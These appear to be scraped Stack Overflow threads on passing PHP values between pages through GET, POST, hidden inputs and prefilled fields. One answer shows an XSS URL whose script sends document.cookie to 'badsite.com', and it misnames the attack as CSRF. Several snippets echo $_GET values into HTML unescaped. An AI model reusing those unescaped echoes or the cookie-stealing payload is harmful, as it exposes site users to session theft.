I would like to understand why the below is not working. It is code that I have inherited and it did work on the previous webmaster's hosting.
The page has a $service variable in the URL hence the echo $_GET['service'] below in order to display the value of the variable on the page. However, we want to use that same variable value on the next page also.
At the moment I cannot use echo $_POST or I even tried echo $_GET on the next page to display this
value. There must be something out of date or wrong with <input type="hidden" name="service" value="<? echo $service; ?>" />.
I tried value= echo $_GET['service']; but this did not appear to change anything,
Grateful for all help.
Thanks.
<?php echo $_GET['service']; ?>
<form action="send-order.php" method="post">
Email<br /><input name="email" value="<?echo $email;?>" type="text" style="width: 350px;" />
<input type="hidden" name="service" value="<? echo $service; ?>" />
<input type="submit" value="Order now" /></p>
</form>
Uhm, first of all I'm seeing your form action is POST (instead of GET), so it's natural you don't appen the service input to the url...
Another thing, you're saying that the code worked previously: it might be for the use of register_globals (turned ON; in darker times that was the usual setting, now it's disabled by default) on the previous server's settings, which automatically made available to the var $service what should have been called with $_GET['service'] (or $_POST['service'], for what that matters).
I still don't understand where the "p" param comes in the URL from your comment, though. If you change the form action to action="get", you will have something like "email=something&service=somethig", but 'p' ?
$service is a variable.
http://example.com?service=foo is a GET parameter.
$service is not the same as $_GET['service']
$_POST['service'] is not the same as $_GET['service']
That said, the form's method is "post". If you're posting to the same page where the form is located, then use $_POST['service'] instead. Or change the form method to "get" and use $_GET['service'].
Related
I am trying to pass three parameters from one php file to another. Two of those parameters are in variables that are already determined long before the button is clicked to call the second php file, but one will be taken from a text box at the time the button is clicked.
So far I have the following (snippet) in the first php file. The two parameters that are in the existing variables show up in the URL just fine, but I can't figure out how to get the student number to be included. The URL just has "studentNumber=?&club=..."
Thanks!
<input type="text" id="studentNum" placeholder="Student Number">
<input type="button" value="Add Student" onclick="window.location = '<?php $url = 'http://npapps.peelschools.org/editor/add.php?studentNumber='.$_GET["StudentNum"].'&club='.$club.'&type='.$type.''; echo $url;?>'" />
Is it really necessary to use window.location? I would encourage you to use something like this
function doSubmit() {
document.getElementById("myformid").submit();
}
<form id="myformid" action="receivingPHP.php" method="POST">
<input id="studentnr" type="text" value="42" />
<button onclick="doSubmit()">Send</button>
</form>
Of course there is no receivingPHP.php file on the StackOverflow servers, so if you try this script you will reach a white page (close it in the top right corner where it says close)
If you use $_GET["StudentNum"], it must come from an HTML-form or a html-link:
example
or
<form method="GET"><input name="StudentNum" value="1337"></form>
Good luck
The URL of your current page needs to have had studentNum present as a query parameter to be able to use $_GET. For example, if current page URL =
http://npapps.peelschools.org/myotherpage.php?studentNum=100
then you can $_GET["studentNum"]. Also, if you are accessing this URL via ajax
http://npapps.peelschools.org/myotherpage.php
then it must be passed as a data parameter.
Find out what the URL of the page is where you have the HTML that you have shown, and if studentNum has not been passed as a query parameter or data parameter from however you get there (e.g. an anchor tag href) then add that parameter to the URL.
Ended up reworking it so that all the information was sent in a form rather than trying to embed it in a button. The secret came from w3schools where I figured out how to hide the known parameters in a hidden input element in the form, as follows:
<form action="add.php" method="GET">
<input name="studentNo" type="text" placeholder="Student Number" />
<input name="club" type="hidden" value="<?php echo htmlspecialchars($club); ?>" />
<input name="type" type="hidden" value="<?php echo htmlspecialchars($type); ?>" />
<input type="submit" value="Add Student" />
</form>
So I have a form where one entry is:
<input type="text" id="ptid" name="ptid" readonly="readonly" placeholder="<?php echo $pid; ?>">
The value of "$pid" is not null, I already got the value from database. Then I would like to get that value and pass to another php file. So I tried this code :
<?php
$ptid=$_POST['ptid'];
?>
I tried printing this out, but somehow there's no result. Is there anyway to get the value?
placeholders aren't submitted as form values; that's the entire point of a placeholder: it displays in the input, but it is not treated as a value.
You'll need to use the regular value="<?php echo $pid; ?>" to submit the value with the form.
<form method="post">
<input type="text" name="example">
<input type="submit" value="Post me!">
</form>
Ensure you're declaring the POST and if you want to a redirect the POST to another file for handling use action.
You're picking it up correctly however,
$_POST['example']; in this case.
This would POST the input to the same file so ensure the handler is in the same context. If you do not declare post it will assume its a get request.
If you want to catch the POST in the same context then what you're doing is right. If you want to POST it to another PHP file which handles it then you cannot catch it in the same context.
Hope that helped.
Instead of placeholder use value attribute
<input type="text" id="ptid" name="ptid" readonly="readonly" value="<?php if(isset($pid)) echo $pid; ?>">
You will get value on next page.
Because value is submitted not placeholder.
I think that it's possible only with javascript - in HTML document you must create new hidden input and insert there a value with
$("#ptid").attr("placeholder")
I created form, when i submit it, i made that it just go to the same form page. When i changed value of variable( to the m=files&a=addedit) it keeps creating new one / symbol. Here is the code, and bellow the code there is the link to the picture.
$referrer = "m=files&a=addedit";
?>
<form name="uploadFrm" action="?m=files" enctype="multipart/form-data" method="post">
<input type="hidden" name="redirect" value="<?php echo $referrer; ?>" />
http://i.stack.imgur.com/CFmXo.jpg
What should i do to fix this from / creation.
Using full path (with http) should fix this issue. Try change the action attribute to:
action="http://www.your-domain.com?m=files"
It's pretty unusual to want to put a ? in the URL in a form action attribute. I'm not sure why you're doing that.
I'd suggest replacing it with a hidden field for m:
<form name="uploadFrm" action="." enctype="multipart/form-data" method="post">
<input type="hidden" name="m" value="files" />
<input type="hidden" name="redirect" value="<?php echo $referrer; ?>" />
Try that, and let us know if it works.
If you still have problems, then it's likely that the issue is actually somewhere else, not in the HTML form code you've given.
Possible places you should look:
A badly configured mod_rewrite can be prone to doing this kind of thing.
The input field on the form is called redirect; maybe the problem is happening when you do the redirect?
Im try to Programm some php.
i have a site : /index.php?go=newstep&callid=2
Where i put:
<form method="post" action="addnew.php"> <input type="text" name="user" /> <input type="text" name="text" /> <input type="hidden" value="<?php echo($_GET["callid"]); ?>" name="test" />
This is because the next site "addnew.php" Needs the value "callid" from the link to ?go=newstep&callid=2
Why isn't it working?
Is there another way?
Thank you
If You want to use GET method, You can simply put Your variable as part of the link in action attribute. You don't have to use hidden input. Something like that:
action="addnew.php?callid=<?php echo $_GET['callid']; ?>"
Additionally, '"' char in attribute "value" may cause problems, because HTML may interpret it as end of the attribute value.
EDIT:
Exactly, You are using POST method in form, thus You are sending You variable, callid, by POST method now and it will be available in $_POST global array in addnew.php script, not in $_GET global array.
I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).
The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val() function to set the value.